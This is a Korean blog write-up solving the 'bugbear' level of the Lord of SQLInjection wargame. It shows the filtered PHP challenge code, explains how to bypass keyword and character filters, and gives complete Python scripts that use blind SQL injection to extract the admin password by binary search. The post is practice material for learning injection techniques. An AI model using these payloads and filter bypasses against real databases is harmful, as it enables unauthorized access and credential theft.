[WARGAME][los] bugbear

jckim22·2022년 11월 25일
0

[WEBHACKING] STUDY (WARGAME)

목록 보기
105/114

아래는 서버 코드이다.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

이번 문제도 비밀번호 일치 문제인걸 보니 blind sql injection이다.
이번에는 substr, asciia,emdgh akfrheh like와 16진수 문자열 우회 마저도 필터링하고 있다.

하지만 이제 이런 문제들이 반복적인 패턴으로 다가와서 그런지 무엇을 써야할 지 바로 생각이 났다.
일단 no에서 쿼터가 없으니 전 문제와 같은 형식을 풀면 될 것 같다.
전 문제에서도 이분 탐색으로 like를 사용하지 않았기 때문에 이분 탐색으로 그대로 부등호를 사용하면 될 것 같다.
공백도 필터링하고 있어서 %09로 우회할 것이다.
그리고 0x가 필터링 되어있기에 바이너리로 하거나 char함수를 사용하면 될 것 같다.
그럼 인젝션 쿼리를 예시로 짜 나가보자.

like를 이분탐색으로 우회한다고 했지만 처음에 admin의 비밀번호를 가져오기 위해서는 like와 비슷한 효력을 낼 수 있는 구문을 가져와야 한다.

구글링을 통해 in이라는 것을 알아왔다.

보통 범위를 지정하기 때문에 2개 이상의 인자를 넣어주지만 in 다음에 괄호 안에 하나의 문자열만 넣게 되면 그 문자열을 가져오게 될 것이다.

그럼 in (char(~~~)) 이런식으로 하면 될 것 같다.
아래를 보자


위처럼 성공적으로 admin을 가져오게 된다.

그럼 이제 이 뒤에 쿼리를 추가해서 비밀번호의 길이를 알아내보자.

비밀번호 길이를 구하는 코드는 짤 것이지만 역시나 길이가 8일 것 같아 먼저 확을 해보았다.
아래처럼 엔드 연산자 뒤로 in을 사용하여 길이를 맞췄더니 성공적으로 쿼리가 참이 되었다.

substr은 필터링이 된 관계로 char()로 전과 같이 진행하면 되겠다.
그럼 이제 코드를 짜보자.

코드는 전에 풀었던 문제에서 쿼리문을 수정해서 풀겠다.

이분 탐색의 수행시간에서 이점은 이전에 설명을 했으므로 스킵하겠다.

import requests
import time

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"

cookies = {
    'PHPSESSID': ''
}


i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': ""
    }

    url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09length(pw)%09>%09({mid})"

    print(f"try{i}")


    if end-start==1:
        print(f"pw length : {end}")
        pw_length=mid
        break

    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")

이번에는 url에 직접 페이로드를 달아놓았다.
length함수 뒤에 in 대신 >를 사용함으로써 이분탐색이 진행되는데

결과는 아래와 같다.

역시나 비밀번호의 길이는 8이었다.

그럼 이제 최종 익스플로잇을 짜보자.


위 쿼리가 성공적으로 작동하니 참고해서 짜면 되겠다.

아래는 최종 익스플로잇이다.

import requests
import time

url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"

cookies = {
    'PHPSESSID': ''
}


i = 0
start = 1
end = 100
while (True):

    i += 1
    mid=(start+end)//2

    params = {
        'pw': ""
    }

    url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09length(pw)%09>%09({mid})"

    print(f"try{i}")


    if end-start==1:
        print(f"pw length : {end}")
        pw_length=end
        break

    if 'Hello admin' in requests.get(url, params=params, cookies=cookies).text:
        start=mid
        print(f"st{start}")
    else:
        end=mid
        print(f"en{end}")



pw=""

start = 48
end = 127

for i in range(1,pw_length+1):   
    start = 1
    end = 127

    while(True):
        mid=(start+end)//2
        print(mid)
        print(chr(mid))
        params = {
            'pw': ""
            
        }


        url=f"https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=3||%09id%09in%09(char(97,100,109,105,110))%26%26%09hex(right(left(pw,{str(i)}),1))%09>%09hex(char({mid-1}))"

        res=requests.get(url,params=params,cookies=cookies)

        if end-start<=1:
            print(f"{i}번째 문자는{chr(mid)}") 
            pw+=chr(mid)
            break       


        if 'Hello admin' in res.text:
            start=mid
            print(f"st{start}")
        else:
            end=mid
            print(f"en{end}")


    
    

print(f"password : {pw}")

코드의 큰 틀은 전 문제의 익스플로잇과 같다.

다만 공백 우회를 url 인코딩으로 해야해서 요청 자체도 url에 페이로드를 붙여서 보냈다.
대소문자를 구별하기 위해 hex로 비교한 것은 똑같다.

결과적으로 이번 문제와 앞선 두 문제에서

= -> like -> in

문자열 -> 0x~~~ -> char()

" " -> 탭(%09)

and,or -> &&,||

substr -> right(left()),lpad

들의 우회를 유도했다.

이 밖에도 삽질하며 추가로 알게된 우회들도 많다.

그럼 익스플로잇을 실행해보자.


위와 같은 결과가 나오고 비밀번호를 페이로드로 보내면

성공적으로 flag를 얻을 수 있다.

profile
개발/보안

0개의 댓글